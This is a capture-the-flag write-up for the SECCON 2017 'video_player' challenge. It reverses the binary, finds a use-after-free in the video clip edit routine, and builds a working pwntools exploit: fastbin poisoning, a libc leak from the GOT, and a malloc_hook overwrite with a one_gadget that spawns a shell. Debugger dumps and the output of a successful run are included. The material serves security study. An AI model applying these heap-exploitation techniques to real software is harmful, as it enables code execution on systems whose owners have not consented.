video_player (30 solves) (500 points)

video_player Is my video player good enough??

Host : video_player.pwn.seccon.jp Port : 7777

Attachment: video_player.zip (pw: seccon2017) xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
Welcome to SVP ( SECCON Video Player ) !!!
What is your movie name?
AAAABBBB
1. Add Clip
2. Edit Clip
3. Play Clip
4. Remove Clip
>>> 

The binary lets us create different clips (video, audio, subtitles, metadata), edit them and play (video and audio only).

Playing a clip is basically just printing it to the screen xored with a constant byte, so this might become useful for leaking data.

While reversing the binary, you’ll quickly stumble over a “heap initialization” method, which looks a bit scary at first.

int randomize_heap()
{
  void *chunk_table[513];   
  unsigned int seed_value; 
  int fd;

  if ( (fd = open("/dev/urandom", 0)) < 0)
    exit(1);

  if ( read(fd, &seed_value, 4) != 4 )
    exit(1);

  close(fd);

  srand(seed_value);

  // Create randomly sized chunks on the heap
  for (int i = 0; i <= 255; ++i )
    chunk_table[i] = (void *)operator new[](rand());
  
  // Remove random chunks from the heap
  for (int i = 0; i <= 255; ++i )
  {
    if ( (rand() % 3 == 0 ) && ( chunk_table[i] ) )
        operator delete[](chunk_table[i]);

    chunk_table[i] = 0LL;
  }
}

When this bummer is through, the heap will be quite cluttered. This will render any heap leaks useless, since even if we knew an address on the heap, there’s no way to conclude any other chunk addresses from this, since there will be many random gaps between the chunks.

On the other side, it indicates, that we won’t need to care about finding heap leaks at all, so this also has a bright side :).

Since it’s a C++ binary, there are a lot of structs and virtual functions to reverse, so reversing the complete binary was a little bit time consuming. And in the end, it turned out, that the VideoClip class is all we need, to pwn this binary.

The clip base class and the video clip class should look like this:

class Clip {
public:
    Clip() {}

    virtual void Edit() {}
    virtual void Delete() {}
    virtual void Play() {}
};

class VideoClip : Clip {
private:
    long Resolution;
    int FPS;
    int Length;
    char *Data;
    char Description[48];

public:
    VideoClip() : Clip() { ... }

    void Edit() { ... }
    void Delete() { ... }
    void Play() { ... }
};

class AudioClip : Clip {
private:
    short Bitrate;
    short Length;
    char *Data;
    char *Description[48];
public:
    AudioClip() : Clip() { ... }

    void Edit() { ... }
    void Delete() { ... }
    void Play() { ... }
}

class SubtitleClip : Clip {
  ...
}

class MetadataClip : Clip {
  ...
}

When going through the code, most of the virtual functions for the different clips look quite similar, but there’s one small discrepancy in the Edit method for the video clip.

Edit method of AudioClip (skipped the exit calls for better readability):

bool AudioClip::Edit()
{
  char* ptrData; 
  
  cout<<"Audio Bitrate : ";
  read(0, &Bitrate, 2);

  cout<<"Audio Length (seconds) : ");  
  read(0, &Length, 4);
    
  if (Length > 256)
    Length = 256;

  // Allocate memory for the clip data
  ptrData = new char[Length];
  
  // If the clip already contains data, free it
  if (Data)
    delete[](Data);

  // Assign new allocated memory to data ptr
  Data = ptrData;

  cout<<"Audio Data : ";  
  Length = read(0, Data, Length);
  
  memset(&Description, 0, 48);  
  cout<<"Edit description : ";
  read(0, &Description, 47);

  return true;
}

So, everything is looking fine. The function allocates some memory, frees the possible already existing data pointer, and then reads in the data for this clip.

Now, let’s take a look at the Edit method for video clips:

bool VideoClip::Edit()
{
  char* ptrData; 
  
  cout<<"Video Resolution : ";
  read(0, &Resolution, 8);

  cout<<"FPS : ";
  read(0, &FPS, 4);

  cout<<"Number of Frames : ";  
  read(0, &Length, 4);
    
  if (Length > 1024)
    Length = 1024;

  // Allocate memory for the clip data
  ptrData = new char[Length];
  
  // Assign new allocated memory to data ptr
  Data = ptrData;

  // Wait... what???
  if (Data)
    delete[](Data);         
    
  cout<<"Video Data : ";  
  Length = read(0, Data, Length);

  memset(&Description, 0, 0x48);

  cout<<"Edit description : ";  
  if (read(0, &Description, 47) <= 0)
    return false;

  return true;
}

The edit function of VideoClip also allocates memory for its content and uses the same method as AudioClip but the order of the 3 steps (Allocate, free existing, assign new chunk) is mixed up.

Thus, it allocates a new chunk for the video data, assigns it to clip->Data and AFTER that, it frees clip->Data, which is now containing a dangling pointer to the freed memory chunk. Use-After-Free, all we need to get to our flag :)

So first, we’ll have to create a video clip and edit it afterwards. The creation of the clips is a bit awkward, since it doesn’t read the values as numbers, which get converted with atoi, but reads them directly into the class members instead. So we have to specify them as packed values.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "video_player.pwn.seccon.jp"
PORT = 7777

def add_video_clip(res, fps, num, data, desc):
    r.sendline("1")
    r.sendlineafter(">>> ", "1")    
    r.sendafter(": ", p64(res))
    r.sendafter(": ", p32(fps))
    r.sendafter(": ", p32(num))
    r.sendafter(": ", data)
    r.sendlineafter(": ", desc)
    r.recvuntil(">>> ")

def edit_video_clip(idx, res, fps, num, data, desc):
    r.sendline("2")
    r.sendlineafter("Enter index : ", str(idx)) 
    r.sendafter(": ", p64(res))
    r.sendafter(": ", p32(fps))
    r.sendafter(": ", p32(num))
    r.sendafter(": ", data)
    r.sendlineafter(": ", desc)
    r.recvuntil(">>> ") 

def exploit(r):
    r.recvline()
    r.sendline("A"*100)
    r.recvuntil(">>> ")

    log.info("Create initial video (data => fastbin size)")
    add_video_clip(100, 20, 100, "C"*100, "B"*16)

    log.info("Edit video for UAF (overwrite fastbin FD")
    edit_video_clip(0, 100, 20, 100, p64(0x6043e5), "B"*16)

    r.interactive()
    
    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        LOCAL = False
        r = remote(HOST, PORT)
        exploit(r)
    else:
        LOCAL = False

        if LOCAL:
            r = process("./video_player")
        else:
            r = process("./video_player", env={"LD_PRELOAD" : "./libc.so.6"})
        
        print util.proc.pidof(r)
        pause()
        exploit(r)

In Edit, the binary will allocate a chunk for holding our data, freeing it directly afterwards (thus putting it into the fastbin list) and then read our input into this chunk (effectively overwriting the FD pointer of the freed fastbin chunk).

When we now allocate another fastbin with the same size, it will put our fake FD pointer into the fastbin list, so we can control where malloc allocates the next chunk (of this size). We only need something, that looks like a fastbin.

We’ll be using the misalignment trick (often used for overwriting malloc_hook), to get a chunk overlapping the clip array.

gdb-peda$ x/10gx $cliptable-0x20
0x6043e0 <vtable for __cxxabiv1::__si_class_type_info+80>:  0x00007ffff7720760  0x00007ffff7dd4620
0x6043f0: 0x0000000000000000  0x0000000000000000
0x604400: 0x000000000063e8a0  0x0000000000000000
0x604410: 0x0000000000000000  0x0000000000000000
0x604420: 0x0000000000000000  0x0000000000000000
gdb-peda$ x/10gx $cliptable-0x20+5
0x6043e5 <vtable for __cxxabiv1::__si_class_type_info+85>:  0xfff7dd462000007f  0x000000000000007f  <== Fake chunksize (fastbin)
0x6043f5: 0x0000000000000000  0x000063e8a0000000  
0x604405: 0x0000000000000000  0x0000000000000000
0x604415: 0x0000000000000000  0x0000000000000000
0x604425: 0x0000000000000000  0x0000000000000000

By using 0x6043e5 as fake FD pointer, we can trick malloc into recognizing this as a valid fastbin chunk and serving it as the data pointer for our next video clip.

log.info("Add video to get fake fastbin FD to fastbin list")  
add_video_clip(100, 20, 104, "C"*104, "B"*16)

We’ll now just create a dummy video clip. This will allocate the freed chunk from our previous video, putting our fake FD pointer into the fastbin list. The next video will then overwrite the area of clip array.

Since we don’t know any heap addresses, we can use this overwrite to migrate all data to the bss section, creating fake chunks there and point the clip array to our fake chunks. Thus, we don’t need to worry about the heap and its randomization anymore.

log.info("Add video to overwrite fastbin content (bss)")

payload = "\x00"*11

# Clip table
payload += p64(0x604420) + p64(0x0)                  # Pointer to fake video chunk
payload += p64(0x0)      + p64(0x0)

# Fake video chunk
payload += p64(0x402968) + p64(0x0000000000000064)   # VTable + Resolution
payload += p32(0x00000014)                           # FPS
payload += p32(0x00000006)                           # Length
payload += p64(e.got["rand"])                        # Data Ptr

add_video_clip(100, 20, 104, payload , "B"*16)
gdb-peda$ x/40gx $cliptable
0x604400: 0x0000000000604420  0x0000000000000000  <== Pointer to fake video chunk
0x604410: 0x0000000000000000  0x0000000000000000
0x604420: 0x0000000000402968  0x0000000000000064  <== Fake video chunk
0x604430: 0x0000000600000014  0x00000000006040b8  <== Pointer to 
0x604440: 0x0000000000000000  0x0000000000000000
0x604450: 0x0000000000000000  0x0000000000000000
0x604460: 0x0000000000000000  0x0000000000000000

Index 0 of the clip array now points to our fake video chunk. The Length for our clip is set to 6 and the Data ptr points to rand got entry.

With this set up, we can leak the content of rand got by playing this clip.

void VideoClip::Play()
{
  cout<<"Playing video..."<<endl;

  for (int i = 0; Length >= i; ++i )
    cout<<(char)(Data[i] ^ 0xcc);

  cout<<endl;
}

The Play method prints out the content of Data while xoring every byte with 0xcc, so we decode the leaked data by just xoring it again.

def play_video_clip(idx):
    r.sendline("3")
    r.sendlineafter("Enter index : ", str(idx))
    r.recvline()
    LEAK = r.recvline()[:-1]
    r.recvuntil(">>> ")
    return LEAK
log.info("Leak value of rand got entry")
RAND = play_video_clip(0)
RAND = u64(''.join(map(lambda x: chr(ord(x) ^ 0xcc), RAND)).ljust(8, "\x00"))

libc = ELF("./libc.so.6")
libc.address = RAND - libc.symbols["rand"]

log.info("RAND          : %s" % hex(RAND))
log.info("LIBC          : %s" % hex(libc.address))

So, we have the libc address and since we can just do an UAF agin, we still have an arbitrary write. With libc known, malloc_hook is a good target using one_gadgetto get a shell.

Again, we’ll be placing a misaligned FD pointer in another video clip.

gdb-peda$ x/20gx 0x7ffff7dd3b20-0x30
0x7ffff7dd3af0: 0x00007ffff7dd2260  0x0000000000000000
0x7ffff7dd3b00: 0x00007ffff7a94e20  0x00007ffff7a94a00
0x7ffff7dd3b10: 0x0000000000000000  0x0000000000000000  <== malloc_hook
0x7ffff7dd3b20: 0x0000000000000000  0x000000000063fd00  <== main_arena
0x7ffff7dd3b30: 0x000000000063f300  0x000000000063bd90
0x7ffff7dd3b40: 0x000000000063dee0  0x0000000000639720
0x7ffff7dd3b50: 0x0000000000000000  0x000000000063fac0

gdb-peda$ x/20gx 0x7ffff7dd3b20-0x28-11
0x7ffff7dd3aed: 0xfff7dd2260000000  0x000000000000007f  <== fake fastbin chunk size
0x7ffff7dd3afd: 0xfff7a94e20000000  0xfff7a94a0000007f
0x7ffff7dd3b0d: 0x000000000000007f  0x0000000000000000
0x7ffff7dd3b1d: 0x0000000000000000  0x000063fd00000000  <== malloc_hook (somewhere ;))
0x7ffff7dd3b2d: 0x000063f300000000  0x000063bd90000000
0x7ffff7dd3b3d: 0x000063dee0000000  0x0000639720000000
MAIN_ARENA = libc.address + 0x3c4b20
MALLOC_TARGET = MAIN_ARENA - 0x28 - 11
ONE_GADGET = libc.address + 0x4526a

log.info("MAIN ARENA    : %s" % hex(MAIN_ARENA))
log.info("MALLOC_TARGET : %s" % hex(MALLOC_TARGET))

log.info("Create malloc overwrite video (data fastbin)")
add_video_clip(100, 20, 100, "C" * 100, "B" * 16)

log.info("Edit video for UAF (overwrite fastbin FD")
edit_video_clip(0, 100, 20, 100, p64(MALLOC_TARGET), "B" * 16)

log.info("Add video to get fake fastbin FD to fastbin list")
add_video_clip(100, 20, 104, "C" * 104, "B" * 16)

log.info("Add video to overwrite malloc hook")
payload = "A" * 19
payload += p64(ONE_GADGET)

add_video_clip(100, 20, 104, payload, "B" * 16)

All there’s left to do, is creating another video, which will call malloc. This will trigger malloc_hook, effectively calling our one_gadget

log.info("Add a clip to trigger shell")
r.sendline("1\n1")
r.recvuntil(">>> ")

r.interactive()
$ python xpl.py 1
[*] '/home/ubuntu/video_player'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to video_player.pwn.seccon.jp on port 7777: Done
[*] Create initial video (data => fastbin size)
[*] Edit video for UAF (overwrite fastbin FD
[*] Add video to get fake fastbin FD to fastbin list
[*] Add video to overwrite fastbin content (bss)
[*] Leak value of rand got entry
[*] '/home/ubuntu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] RAND            : 0x7fa2f6db2f60
[*] LIBC            : 0x7fa2f6d78000
[*] MAIN ARENA    : 0x7fa2f713cb20
[*] MALLOC_TARGET : 0x7fa2f713caed
[*] Create malloc overwrite video (data fastbin)
[*] Edit video for UAF (overwrite fastbin FD
[*] Add video to get fake fastbin FD to fastbin list
[*] Add video to overwrite malloc hook
[*] Add a clip to trigger shell
[*] Switching to interactive mode
$ cat home/chal/flag.txt
SECCON{Mommy_I_am_scared_to_go_on_stage!!}